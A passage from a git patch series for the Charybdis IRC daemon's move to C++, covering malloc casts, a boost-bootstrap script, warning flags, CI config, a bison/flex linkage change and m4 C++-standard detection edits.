(uint8_t *)rb_malloc(READBUF_SIZE); ctl_buf->buflen = READBUF_SIZE; retlen = rb_recv_fd_buf(ctl->F, ctl_buf->buf, ctl_buf->buflen, ctl_buf->F, MAXPASSFD); @@ -992,7 +996,7 @@ main(int argc, char **argv) rb_linebuf_init(4096); rb_init_rawbuffers(4096); - mod_ctl = rb_malloc(sizeof(mod_ctl_t)); + mod_ctl = (mod_ctl_t *)rb_malloc(sizeof(mod_ctl_t)); mod_ctl->F = rb_open(ctlfd, RB_FD_SOCKET, "ircd control socket"); mod_ctl->F_pipe = rb_open(pipefd, RB_FD_PIPE, "ircd pipe"); rb_set_nb(mod_ctl->F); From 8873731aa0aec6f5e6a1342645d0a82deff6b939 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Fri, 15 Jul 2016 10:45:32 -0700 Subject: [PATCH 09/23] Attempt at shipping boost. --- autogen.sh | 28 ++++----- tools/boostrap.sh | 145 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 160 insertions(+), 13 deletions(-) create mode 100755 tools/boostrap.sh diff --git a/autogen.sh b/autogen.sh index 35a6fca34..d9a5933ec 100755 --- a/autogen.sh +++ b/autogen.sh @@ -1,4 +1,4 @@ -#! /bin/sh +#!/bin/bash TOP_DIR=$(dirname $0) LAST_DIR=$PWD @@ -45,45 +45,47 @@ parse_options () done } + run_or_die () { COMMAND=$1 - # check for empty commands if test -z "$COMMAND" ; then - echo "*warning* no command specified" + echo -e "\033[1;5;31mERROR\033[0m No command specified!" return 1 fi - - shift; + shift; OPTIONS="$@" - # print a message - echo -n "*info* running $COMMAND" if test -n "$OPTIONS" ; then - echo " ($OPTIONS)" + echo -en "\033[1m$COMMAND $OPTIONS\033[0m ... " else - echo + echo -en "\033[1m$COMMAND\033[0m ... " fi # run or die $COMMAND $OPTIONS ; RESULT=$? if test $RESULT -ne 0 ; then - echo "*error* $COMMAND failed. (exit code = $RESULT)" + echo -e "\033[1;5;31mERROR\033[0m $COMMAND failed. (exit code = $RESULT)" exit 1 fi - + + echo -e "\033[0;32mOK\033[0m" return 0 } + parse_options "$@" -echo "Building librb autotools files." - +echo "*** Generating Charybdis build..." run_or_die $ACLOCAL -I m4 run_or_die $LIBTOOLIZE --force --copy run_or_die $AUTOHEADER run_or_die $AUTOCONF run_or_die $AUTOMAKE --add-missing --copy #run_or_die $SHTOOLIZE all + +echo +echo -e "\033[1;32m*\033[0m Ready to configure Charybdis." +echo -e "\033[1;5;33m*\033[0m Now run ./configure" diff --git a/tools/boostrap.sh b/tools/boostrap.sh new file mode 100755 index 000000000..37a4e8bfa --- /dev/null +++ b/tools/boostrap.sh @@ -0,0 +1,145 @@ +#!/bin/bash + +TOPDIR=$1 # This should be an absolute path to the repo root +BLIBS=$2 # A comma-separated list of which boost libs to build +BTOOLSET=$3 # The platform toolchain name (gcc, clang, mingw, ...) +BVARIANT=$4 # release optimization or debug symbols etc +BLINK=$5 # whether to build with shared or static linkage (we like shared) +BTHREADING=$6 # whether to build with thread-safety (we benefit from SINGLE THREADED) + + +if [ -z $TOPDIR ]; then + TOPDIR=$PWD +fi + + +if [ -z $BLIBS ]; then + BLIBS="system" +fi + + +case "$BTOOLSET" in +g\+\+*|gcc*) + BSFLAGS="--with-toolset=gcc";; + +clang\+\+*|clang*) + BSFLAGS="--with-toolset=clang";; + +mingw\+\+*|mingw*) + BSFLAGS="";; + +*) + BTOOLSET="";; +esac + + +if [ -z $BVARIANT ]; then + BVARIANT="release" +fi + + +if [ -z $BLINK ]; then + BLINK="shared" +fi + + +if [ -z $BTHREADING ]; then + BTHREADING="single" +fi + + +run () +{ + COMMAND=$1 + # check for empty commands + if test -z "$COMMAND" ; then + echo -e "\033[1;5;31mERROR\033[0m No command specified!" + return 1 + fi + + shift; + OPTIONS="$@" + # print a message + if test -n "$OPTIONS" ; then + echo -ne "\033[1m$COMMAND $OPTIONS\033[0m ... " + else + echo -ne "\033[1m$COMMAND\033[0m ... " + fi + + # run or die + $COMMAND $OPTIONS ; RESULT=$? + if test $RESULT -ne 0 ; then + echo -e "\033[1;5;31mERROR\033[0m $COMMAND failed. (exit code = $RESULT)" + exit 1 + fi + + echo -e "\033[0;32myes\033[0m" + return 0 +} + + +echo "*** Synchronizing boost... " + +# Save current dir and return to it later +USERDIR=$PWD + +### Populate the boost submodule directory. +run cd $TOPDIR +run git submodule update --init boost +run cd boost + +### Build tools +run git submodule update --init --recursive tools/build +run git submodule update --init --recursive tools/inspect + +### These are the libraries we need. Most of them are header-only. If not header-only, +### add to the list --with-libraries in the ./bootstrap command below +run git submodule update --init --recursive libs/predef +run git submodule update --init --recursive libs/assert +run git submodule update --init --recursive libs/static_assert +run git submodule update --init --recursive libs/type_traits +run git submodule update --init --recursive libs/config +run git submodule update --init --recursive libs/core +run git submodule update --init --recursive libs/detail + +run git submodule update --init --recursive libs/asio +run git submodule update --init --recursive libs/system +run git submodule update --init --recursive libs/regex + +run git submodule update --init --recursive libs/lexical_cast +run git submodule update --init --recursive libs/range +run git submodule update --init --recursive libs/concept_check +run git submodule update --init --recursive libs/utility +run git submodule update --init --recursive libs/throw_exception +run git submodule update --init --recursive libs/numeric +run git submodule update --init --recursive libs/integer +run git submodule update --init --recursive libs/array +run git submodule update --init --recursive libs/functional +run git submodule update --init --recursive libs/container +run git submodule update --init --recursive libs/move +run git submodule update --init --recursive libs/math + +run git submodule update --init --recursive libs/tokenizer +run git submodule update --init --recursive libs/iterator +run git submodule update --init --recursive libs/mpl +run git submodule update --init --recursive libs/preprocessor +run git submodule update --init --recursive libs/date_time +run git submodule update --init --recursive libs/smart_ptr +run git submodule update --init --recursive libs/bind + +run ./bootstrap.sh --prefix=`pwd` --with-libraries=$BLIBS $BSFLAGS +run ./b2 threading=$BTHREADING variant=$BVARIANT link=$BLINK address-model=64 + +### Install should go right into this local submodule repository +run ./b2 install + +### TODO: this shouldn't be necessary. +### XXX: required when boost submodules are fetched and built la carte, but not required +### XXX: when all submodules are fetched and built. we're missing a step. +for lib in `ls -d libs/*/include`; do + run cp -r ${lib}/* include/ +done +run cp -r libs/numeric/conversion/include/* include/ + +# Return to user's original directory +run cd $USERDIR From 748faeb264ecf6e894d25196564e58ffb104f2e5 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Sat, 16 Jul 2016 13:58:14 -0700 Subject: [PATCH 10/23] Improve warnings. --- configure.ac | 29 ++++++++++++++--------------- 1 file changed, 14 insertions(+), 15 deletions(-) diff --git a/configure.ac b/configure.ac index c0049f56a..a0e034085 100644 --- a/configure.ac +++ b/configure.ac @@ -646,10 +646,6 @@ else AC_MSG_RESULT(no) fi -AC_ARG_ENABLE(warnings, -AC_HELP_STRING([--enable-warnings],[Enable all sorts of warnings for debugging.]), -[CPPFLAGS="$CPPFLAGS -Wall -Wcast-qual -Wmissing-declarations -Wmissing-prototypes -Wnested-externs -Wwrite-strings -W -Wno-unused -Wunused-function -Wunused-variable"],[]) - AC_SUBST(LDFLAGS) AC_SUBST(PICFLAGS) AC_SUBST(SEDOBJ) @@ -1216,26 +1212,29 @@ AC_ARG_ENABLE(warnings, AC_HELP_STRING([--enable-warnings],[Enable all sorts of warnings for debugging.]), [ CHARYBDIS_C_GCC_TRY_FLAGS([-Wall], charybdis_cv_c_gcc_w_all) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wextra], charybdis_cv_c_gcc_w_extra) CHARYBDIS_C_GCC_TRY_FLAGS([-Wpointer-arith], charybdis_cv_c_gcc_w_pointer_arith) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wimplicit -Wnested-externs], charybdis_cv_c_gcc_w_implicit) CHARYBDIS_C_GCC_TRY_FLAGS([-Wcast-align], charybdis_cv_c_gcc_w_cast_align) CHARYBDIS_C_GCC_TRY_FLAGS([-Wcast-qual], charybdis_cv_c_gcc_w_cast_qual) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wfloat-equal], charybdis_cv_c_gcc_w_float_equal) CHARYBDIS_C_GCC_TRY_FLAGS([-Wwrite-strings], charybdis_cv_c_gcc_w_write_strings) -CHARYBDIS_C_GCC_TRY_FLAGS([-Werror-implicit-function-declaration], charybdis_cv_c_gcc_w_error_implicit_function_declaration) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations], charybdis_cv_c_gcc_prototypes) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wmissing-declarations], charybdis_cv_c_gcc_w_prototypes) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-missing-field-initializers], charybdis_cv_c_gcc_w_missing_field_initializers) CHARYBDIS_C_GCC_TRY_FLAGS([-Wparentheses], charybdis_cv_c_gcc_parentheses) -CHARYBDIS_C_GCC_TRY_FLAGS([-W -Wno-unused], charybdis_cv_c_gcc_w) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wextra], charybdis_cv_c_gcc_w_extra) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wshadow], charybdis_cv_c_gcc_w_shadow) CHARYBDIS_C_GCC_TRY_FLAGS([-Wmissing-noreturn], charybdis_cv_c_gcc_w_missing_noreturn) CHARYBDIS_C_GCC_TRY_FLAGS([-Wundef], charybdis_cv_c_gcc_w_undef) CHARYBDIS_C_GCC_TRY_FLAGS([-Wpacked], charybdis_cv_c_gcc_w_packed) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wnested-externs], charybdis_cv_c_gcc_w_nested_externs) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wunused-function -Wunused-label -Wunused-value -Wunused-variable], charybdis_cv_c_gcc_w_unused) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wredundant-decls], charybdis_cv_c_gcc_w_redundant_decls) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wfloat-equal], charybdis_cv_c_gcc_w_float_equal) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-unused -Wno-unused-function -Wno-unused-label -Wno-unused-value -Wno-unused-variable -Wno-unused-parameter], charybdis_cv_c_gcc_w_unused) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wformat -Wformat-y2k -Wformat-security -Wformat-nonliteral], charybdis_cv_c_gcc_w_format) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wsuggest-attribute=format], charybdis_cv_c_gcc_w_suggest_attribute_format) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wstrict-aliasing -Wstrict-overflow], charybdis_cv_c_gcc_w_strict) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wdisabled-optimization], charybdis_cv_c_gcc_w_disabled_optimization) CHARYBDIS_C_GCC_TRY_FLAGS([-Winvalid-pch], charybdis_cv_c_gcc_w_invalid_pch) -CHARYBDIS_C_GCC_TRY_FLAGS([-Wformat -Wformat-y2k -Wno-format-security], charybdis_cv_c_gcc_w_format) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wlogical-op], charybdis_cv_c_gcc_w_logical_op) +CHARYBDIS_C_GCC_TRY_FLAGS([-Winit-self], charybdis_cv_c_gcc_w_init_self) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wuninitialized], charybdis_cv_c_gcc_w_uninitialized) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wunreachable-code], charybdis_cv_c_gcc_w_unreachable_code) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-unknown-warning -Wno-unknown-warning-option], charybdis_cv_c_gcc_w_unknown_warning) ],[]) CPPFLAGS="$CPPFLAGS $CWARNS" From 7d0d2add647ccd1bcace400ac8cefa1910e07ccd Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Sat, 16 Jul 2016 11:02:58 -0700 Subject: [PATCH 11/23] appveyor: Update for C++ --- .appveyor-build.sh | 2 +- .appveyor.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.appveyor-build.sh b/.appveyor-build.sh index 8ea6283e9..893dd066c 100644 --- a/.appveyor-build.sh +++ b/.appveyor-build.sh @@ -4,6 +4,6 @@ export MSYSTEM=MINGW64 export PATH=/mingw64/bin:/usr/local/bin:/usr/bin:/bin:/c/Windows/system32:/c/Windows:/c/Windows/System32/Wbem:/c/Windows/System32/WindowsPowerShell/v1.0:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl sh ./autogen.sh -./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 +./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 --with-included-boost make -j2 make install diff --git a/.appveyor.yml b/.appveyor.yml index 76388ed5d..437d1c0a3 100644 --- a/.appveyor.yml +++ b/.appveyor.yml @@ -12,7 +12,7 @@ build_script: # - c:\msys64\usr\bin\sh.exe -lc "cd $APPVEYOR_BUILD_FOLDER/build/bin; ./charybdis -version" on_failure: - ps: Push-AppveyorArtifact config.log - - ps: Push-AppveyorArtifact librb\include\librb-config.h + - ps: Push-AppveyorArtifact include\rb\config.h branches: except: - release/3.5 From 754a6d9b5cc506674aefe47a760fbe5751b0b9a4 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Sat, 16 Jul 2016 15:05:07 -0700 Subject: [PATCH 12/23] ircd: add local .gitignore. --- .gitignore | 3 --- ircd/.gitignore | 3 +++ 2 files changed, 3 insertions(+), 3 deletions(-) create mode 100644 ircd/.gitignore diff --git a/.gitignore b/.gitignore index 471ec0ec4..b76cb8d47 100644 --- a/.gitignore +++ b/.gitignore @@ -31,9 +31,6 @@ stamp-h1 libltdl/ scripts/*.tar.bz2 scripts/*.tar.gz -ircd/ircd_parser.c -ircd/ircd_parser.h -ircd/ircd_lexer.c ssld/ssld wsockd/wsockd testsuite/ircd.pid.* diff --git a/ircd/.gitignore b/ircd/.gitignore new file mode 100644 index 000000000..b384e3979 --- /dev/null +++ b/ircd/.gitignore @@ -0,0 +1,3 @@ +ircd_parser.h +ircd_parser.cc +ircd_lexer.cc From e7e7f8ff9fc90cdd14c9c1e697537648b28758c6 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Sat, 16 Jul 2016 14:40:52 -0700 Subject: [PATCH 13/23] Convert bison. NOTE: This only has "C" linkage right now. --- configure.ac | 25 ++++++++++----------- include/ircd/logger.h | 2 +- include/ircd/modules.h | 4 ++-- include/ircd/newconf.h | 10 ++++----- include/ircd/s_conf.h | 8 +++---- ircd/.gitignore | 4 ++-- ircd/Makefile.am | 9 ++++---- ircd/ircd_lexer.l | 24 ++++++++------------ ircd/ircd_parser.y | 51 ++++++++++++++++++------------------------ ircd/s_conf.cc | 2 +- 10 files changed, 62 insertions(+), 77 deletions(-) diff --git a/configure.ac b/configure.ac index a0e034085..ffad236d1 100644 --- a/configure.ac +++ b/configure.ac @@ -26,6 +26,18 @@ AC_TYPE_UID_T AC_PROG_CXX AC_PROG_MAKE_SET AC_PROG_LIBTOOL + +AC_PROG_YACC +dnl AC_PROG_YACC defaults to yacc unconditionally if nothing can be found +if test "$YACC" = "yacc" -a -z "`which $YACC 2>/dev/null`"; then + AC_MSG_ERROR([could not locate a suitable parser generator; install bison, yacc, or byacc]) +fi + +AC_PROG_LEX +if test "$LEX" = ":"; then + AC_MSG_ERROR([could not locate a suitable lexical generator, install flex or lex.]) +fi + AC_PATH_PROG(AUTOMAKE, automake) AC_PATH_PROG(ACLOCAL, aclocal) AC_PATH_PROG(AUTOHEADER, autoheader) @@ -703,19 +715,6 @@ else AC_MSG_RESULT(no - using devnull.log) fi -AC_PROG_YACC - -dnl AC_PROG_YACC defaults to yacc unconditionally if nothing can be found -if test "$YACC" = "yacc" -a -z "`which $YACC 2>/dev/null`"; then - AC_MSG_ERROR([could not locate a suitable parser generator; install bison, yacc, or byacc]) -fi - -AC_PROG_LEX - -if test "$LEX" = ":"; then - AC_MSG_ERROR([could not locate a suitable lexical generator, install flex or lex.]) -fi - AC_ARG_ENABLE([fhs-paths], [AS_HELP_STRING([--enable-fhs-paths], [Use more FHS-like pathnames (for packagers).])], [], diff --git a/include/ircd/logger.h b/include/ircd/logger.h index 01d237f05..eb0b149dc 100644 --- a/include/ircd/logger.h +++ b/include/ircd/logger.h @@ -54,7 +54,7 @@ struct Client; extern void init_main_logfile(void); extern void open_logfiles(void); extern void close_logfiles(void); -extern void ilog(ilogfile dest, const char *fmt, ...) AFP(2, 3); +RB_EXTERN_C void ilog(ilogfile dest, const char *fmt, ...) AFP(2, 3); extern void idebug(const char *fmt, ...) AFP(1, 2); extern void inotice(const char *fmt, ...) AFP(1, 2); extern void iwarn(const char *fmt, ...) AFP(1, 2); diff --git a/include/ircd/modules.h b/include/ircd/modules.h index 0b37c8f6b..03472e1ab 100644 --- a/include/ircd/modules.h +++ b/include/ircd/modules.h @@ -189,9 +189,9 @@ extern void load_all_modules(bool warn); extern void load_core_modules(bool); extern bool unload_one_module(const char *, bool); -extern bool load_one_module(const char *, int, bool); +RB_EXTERN_C bool load_one_module(const char *, int, bool); extern bool load_a_module(const char *, bool, int, bool); -extern struct module *findmodule_byname(const char *); +RB_EXTERN_C struct module *findmodule_byname(const char *); extern void init_modules(void); extern rb_dlink_list module_list; diff --git a/include/ircd/newconf.h b/include/ircd/newconf.h index 2f18bfc71..7b735ec73 100644 --- a/include/ircd/newconf.h +++ b/include/ircd/newconf.h @@ -63,11 +63,11 @@ extern struct TopConf *conf_cur_block; extern char *current_file; int read_config(char *); -int conf_start_block(char *, char *); -int conf_end_block(struct TopConf *); -int conf_call_set(struct TopConf *, char *, conf_parm_t *); -void conf_report_error(const char *, ...); -void conf_report_warning(const char *, ...); +RB_EXTERN_C int conf_start_block(char *, char *); +RB_EXTERN_C int conf_end_block(struct TopConf *); +RB_EXTERN_C int conf_call_set(struct TopConf *, char *, conf_parm_t *); +RB_EXTERN_C void conf_report_error(const char *, ...); +RB_EXTERN_C void conf_report_warning(const char *, ...); void newconf_init(void); int add_conf_item(const char *topconf, const char *name, int type, void (*func) (void *)); int remove_conf_item(const char *topconf, const char *name); diff --git a/include/ircd/s_conf.h b/include/ircd/s_conf.h index 18df76910..7b9069e56 100644 --- a/include/ircd/s_conf.h +++ b/include/ircd/s_conf.h @@ -357,9 +357,9 @@ extern char *get_user_ban_reason(struct ConfItem *aconf); extern void get_printable_kline(struct Client *, struct ConfItem *, char **, char **, char **, char **); -extern void yyerror(const char *); -extern int conf_yy_fatal_error(const char *); -extern int conf_fgets(char *, int, FILE *); +RB_EXTERN_C void yyerror(const char *); +RB_EXTERN_C int conf_yy_fatal_error(const char *); +RB_EXTERN_C int conf_fgets(char *, int, FILE *); extern int valid_wild_card(const char *, const char *); extern void add_temp_kline(struct ConfItem *); @@ -379,8 +379,6 @@ extern void flush_expired_ips(void *); extern char *get_oper_name(struct Client *client_p); -extern int yylex(void); - extern unsigned long cidr_to_bitmask[]; extern char conffilebuf[BUFSIZE + 1]; diff --git a/ircd/.gitignore b/ircd/.gitignore index b384e3979..1b68fd56f 100644 --- a/ircd/.gitignore +++ b/ircd/.gitignore @@ -1,3 +1,3 @@ ircd_parser.h -ircd_parser.cc -ircd_lexer.cc +ircd_parser.c +ircd_lexer.c diff --git a/ircd/Makefile.am b/ircd/Makefile.am index 63a208ea5..95fc7c4e3 100644 --- a/ircd/Makefile.am +++ b/ircd/Makefile.am @@ -9,7 +9,8 @@ AM_LDFLAGS = -export-dynamic -avoid-version -no-undefined AM_LDFLAGS += -L$(top_srcdir)/rb AM_LDFLAGS += -L$(top_srcdir)/boost/lib -AM_YFLAGS = -d +AM_YFLAGS = -d # --language=c++ +AM_LFLAGS = # --c++ if MINGW EXTRA_FLAGS = -Wl,--enable-runtime-pseudo-reloc -export-symbols-regex '*' @@ -34,7 +35,7 @@ libircd_la_SOURCES = \ hostmask.cc \ ircd.cc \ ircd_parser.y \ - ircd_lexer.l \ + ircd_lexer.l \ ircd_signal.cc \ listener.cc \ logger.cc \ @@ -73,6 +74,6 @@ install-data-local: test -d $(prefix)/@logdir@ || mkdir -p $(prefix)/@logdir@ clean-local: - rm -f ircd_lexer.c ircd_lexer.cc - rm -f ircd_parser.c ircd_parser.cc + rm -f ircd_lexer.c + rm -f ircd_parser.c rm -f ircd_parser.h diff --git a/ircd/ircd_lexer.l b/ircd/ircd_lexer.l index 682d341aa..5fbeb6da6 100644 --- a/ircd/ircd_lexer.l +++ b/ircd/ircd_lexer.l @@ -22,25 +22,18 @@ %option nounput %{ -#include -#include - -#include -#include -#include - -#define WE_ARE_MEMORY_C +#define MAX_INCLUDE_DEPTH 10 #include -#include -#include +#include +#include #include - +#include +#include #include "ircd_parser.h" -int yylex(void); - -#define MAX_INCLUDE_DEPTH 10 +int yyparse(void); +void yyerror(const char *); YY_BUFFER_STATE include_stack[MAX_INCLUDE_DEPTH]; int include_stack_ptr=0; @@ -142,10 +135,11 @@ loadmodule { return LOADMODULE; } <> { if (ieof()) yyterminate(); } %% + /* C-comment ignoring routine -kre*/ void ccomment() { - int c; +int c; /* log(L_NOTICE, "got comment"); */ while (1) diff --git a/ircd/ircd_parser.y b/ircd/ircd_parser.y index 6951e91c5..4d9a07b42 100644 --- a/ircd/ircd_parser.y +++ b/ircd/ircd_parser.y @@ -3,25 +3,18 @@ */ %{ -#include -#include +#define YY_NO_UNPUT -#include -#include -#include -#include -#define WE_ARE_MEMORY_C #include -#include #include #include #include +#include +#include +#include "ircd_parser.h" -#define YY_NO_UNPUT - -int yyparse(void); +int yylex(); void yyerror(const char *); -int yylex(void); static time_t conf_find_time(char*); @@ -112,45 +105,45 @@ static void free_cur_list(conf_parm_t* list) } -conf_parm_t * cur_list = NULL; +conf_parm_t * cur_list; -static void add_cur_list_cpt(conf_parm_t *new) +static void add_cur_list_cpt(conf_parm_t *new_) { if (cur_list == NULL) { - cur_list = rb_malloc(sizeof(conf_parm_t)); + cur_list = (conf_parm_t *)rb_malloc(sizeof(conf_parm_t)); cur_list->type = CF_FLIST; - cur_list->v.list = new; + cur_list->v.list = new_; } else { - new->next = cur_list->v.list; - cur_list->v.list = new; + new_->next = cur_list->v.list; + cur_list->v.list = new_; } } static void add_cur_list(int type, char *str, int number) { - conf_parm_t *new; + conf_parm_t *new_; - new = rb_malloc(sizeof(conf_parm_t)); - new->next = NULL; - new->type = type; + new_ = (conf_parm_t *)rb_malloc(sizeof(conf_parm_t)); + new_->next = NULL; + new_->type = type; switch(type) { case CF_INT: case CF_TIME: case CF_YESNO: - new->v.number = number; + new_->v.number = number; break; case CF_STRING: case CF_QSTRING: - new->v.string = rb_strdup(str); + new_->v.string = rb_strdup(str); break; } - add_cur_list_cpt(new); + add_cur_list_cpt(new_); } @@ -246,19 +239,19 @@ single: oneitem oneitem: qstring { - $$ = rb_malloc(sizeof(conf_parm_t)); + $$ = (conf_parm_t *)rb_malloc(sizeof(conf_parm_t)); $$->type = CF_QSTRING; $$->v.string = rb_strdup($1); } | timespec { - $$ = rb_malloc(sizeof(conf_parm_t)); + $$ = (conf_parm_t *)rb_malloc(sizeof(conf_parm_t)); $$->type = CF_TIME; $$->v.number = $1; } | number { - $$ = rb_malloc(sizeof(conf_parm_t)); + $$ = (conf_parm_t *)rb_malloc(sizeof(conf_parm_t)); $$->type = CF_INT; $$->v.number = $1; } @@ -268,7 +261,7 @@ oneitem: qstring so pass it as that, if so */ int val = conf_get_yesno_value($1); - $$ = rb_malloc(sizeof(conf_parm_t)); + $$ = (conf_parm_t *)rb_malloc(sizeof(conf_parm_t)); if (val != -1) { diff --git a/ircd/s_conf.cc b/ircd/s_conf.cc index b1b07510e..c48a886ba 100644 --- a/ircd/s_conf.cc +++ b/ircd/s_conf.cc @@ -54,7 +54,7 @@ struct config_server_hide ConfigServerHide; -extern "C" int yyparse(void); /* defined in y.tab.c */ +RB_EXTERN_C int yyparse(void); extern char yy_linebuf[16384]; /* defined in ircd_lexer.l */ static rb_bh *confitem_heap = NULL; From 191c856d77d3acc907ca1c776fde6934666e546e Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Tue, 19 Jul 2016 10:21:34 -0700 Subject: [PATCH 14/23] m4: Rename argument. --- m4/ax_cxx_compile_stdcxx.m4 | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/m4/ax_cxx_compile_stdcxx.m4 b/m4/ax_cxx_compile_stdcxx.m4 index 2c18e49c5..9ddd0e495 100644 --- a/m4/ax_cxx_compile_stdcxx.m4 +++ b/m4/ax_cxx_compile_stdcxx.m4 @@ -4,7 +4,7 @@ # # SYNOPSIS # -# AX_CXX_COMPILE_STDCXX(VERSION, [ext|noext], [mandatory|optional]) +# AX_CXX_COMPILE_STDCXX(VERSION, [gnu|iso], [mandatory|optional]) # # DESCRIPTION # @@ -50,8 +50,8 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl [$1], [17], [m4_fatal([support for C++17 not yet implemented in AX_CXX_COMPILE_STDCXX])], [m4_fatal([invalid first argument `$1' to AX_CXX_COMPILE_STDCXX])])dnl m4_if([$2], [], [], - [$2], [ext], [], - [$2], [noext], [], + [$2], [gnu], [], + [$2], [iso], [], [m4_fatal([invalid second argument `$2' to AX_CXX_COMPILE_STDCXX])])dnl m4_if([$3], [], [ax_cxx_compile_cxx$1_required=true], [$3], [mandatory], [ax_cxx_compile_cxx$1_required=true], @@ -68,7 +68,7 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl ac_success=yes fi - m4_if([$2], [noext], [], [dnl + m4_if([$2], [iso], [], [dnl if test x$ac_success = xno; then for switch in -std=gnu++$1 -std=gnu++0x; do cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_$switch]) @@ -91,7 +91,7 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl done fi]) - m4_if([$2], [ext], [], [dnl + m4_if([$2], [gnu], [], [dnl if test x$ac_success = xno; then dnl HP's aCC needs +std=c++11 according to: dnl http://h21007.www2.hp.com/portal/download/files/unprot/aCxx/PDF_Release_Notes/769149-001.pdf From 69e345aac78a0079a9944e545e1a2c48ddf2f4cd Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Tue, 19 Jul 2016 11:04:20 -0700 Subject: [PATCH 15/23] m4: Fix error in ax_cxx_compile_stdcxx macro script. --- m4/ax_cxx_compile_stdcxx.m4 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/m4/ax_cxx_compile_stdcxx.m4 b/m4/ax_cxx_compile_stdcxx.m4 index 9ddd0e495..1e90d552a 100644 --- a/m4/ax_cxx_compile_stdcxx.m4 +++ b/m4/ax_cxx_compile_stdcxx.m4 @@ -70,7 +70,7 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl m4_if([$2], [iso], [], [dnl if test x$ac_success = xno; then - for switch in -std=gnu++$1 -std=gnu++0x; do + for switch in -std=gnu++$1; do cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_$switch]) AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch, $cachevar, @@ -96,7 +96,7 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl dnl HP's aCC needs +std=c++11 according to: dnl http://h21007.www2.hp.com/portal/download/files/unprot/aCxx/PDF_Release_Notes/769149-001.pdf dnl Cray's crayCC needs "-h std=c++11" - for switch in -std=c++$1 -std=c++0x +std=c++$1 "-h std=c++$1"; do + for switch in -std=c++$1 +std=c++$1 "-h std=c++$1"; do cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_$switch]) AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch, $cachevar, From 5ed274e082d2bdca54153b015809339941243720 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Tue, 19 Jul 2016 10:22:14 -0700 Subject: [PATCH 16/23] m4: Add macro argument to pass an SD-6 feature test number. This test against the __cplusplus #define value allows for a more granular feature test. --- configure.ac | 2 +- m4/ax_cxx_compile_stdcxx.m4 | 26 +++++++++++++++----------- 2 files changed, 16 insertions(+), 12 deletions(-) diff --git a/configure.ac b/configure.ac index ffad236d1..29863e958 100644 --- a/configure.ac +++ b/configure.ac @@ -13,7 +13,7 @@ AC_PREFIX_DEFAULT($HOME/ircd) AC_LANG(C++) AC_GNU_SOURCE AC_USE_SYSTEM_EXTENSIONS -AX_CXX_COMPILE_STDCXX_14([ext], [mandatory]) +AX_CXX_COMPILE_STDCXX([14], [gnu], [mandatory], 201304) AC_ISC_POSIX AC_C_INLINE AC_C_CONST diff --git a/m4/ax_cxx_compile_stdcxx.m4 b/m4/ax_cxx_compile_stdcxx.m4 index 1e90d552a..95da0e321 100644 --- a/m4/ax_cxx_compile_stdcxx.m4 +++ b/m4/ax_cxx_compile_stdcxx.m4 @@ -61,7 +61,7 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl ac_success=no AC_CACHE_CHECK(whether $CXX supports C++$1 features by default, ax_cv_cxx_compile_cxx$1, - [AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + [AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1($4)])], [ax_cv_cxx_compile_cxx$1=yes], [ax_cv_cxx_compile_cxx$1=no])]) if test x$ax_cv_cxx_compile_cxx$1 = xyes; then @@ -76,7 +76,7 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl $cachevar, [ac_save_CXX="$CXX" CXX="$CXX $switch" - AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1($4)])], [eval $cachevar=yes], [eval $cachevar=no]) CXX="$ac_save_CXX"]) @@ -102,7 +102,7 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl $cachevar, 